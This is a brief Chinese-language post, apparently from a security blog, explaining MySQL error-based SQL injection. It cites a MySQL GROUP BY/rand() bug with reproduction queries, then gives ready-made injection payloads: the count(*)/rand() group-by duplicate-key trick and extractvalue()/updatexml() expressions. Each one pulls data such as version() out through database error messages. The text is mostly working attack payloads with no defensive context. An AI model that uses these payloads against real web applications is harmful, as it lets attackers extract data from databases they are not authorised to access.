mysql暴错注入

mr923

mysql的一个bug http://bugs.mysql.com/bug.php?id=8652
 
重现过程
use mysql;

create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
select left(rand(),3),a from r1 group by 1;
 

select left(rand(),3),a, count(*) from r1 group by 1;
select round(rand(1),1)  ,a, count(*) from r1 group by 1;

 

 
select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
 
mysql5.1以上支持xml操作 还可以这样玩
mysql> select user from mysql.user where user='root' and extractvalue(1, concat(0x5c, (select version())));
 
 
mysql> select user from mysql.user where user='root' and (updatexml(1,concat(0x5e24,(select version()),0x5e24),1));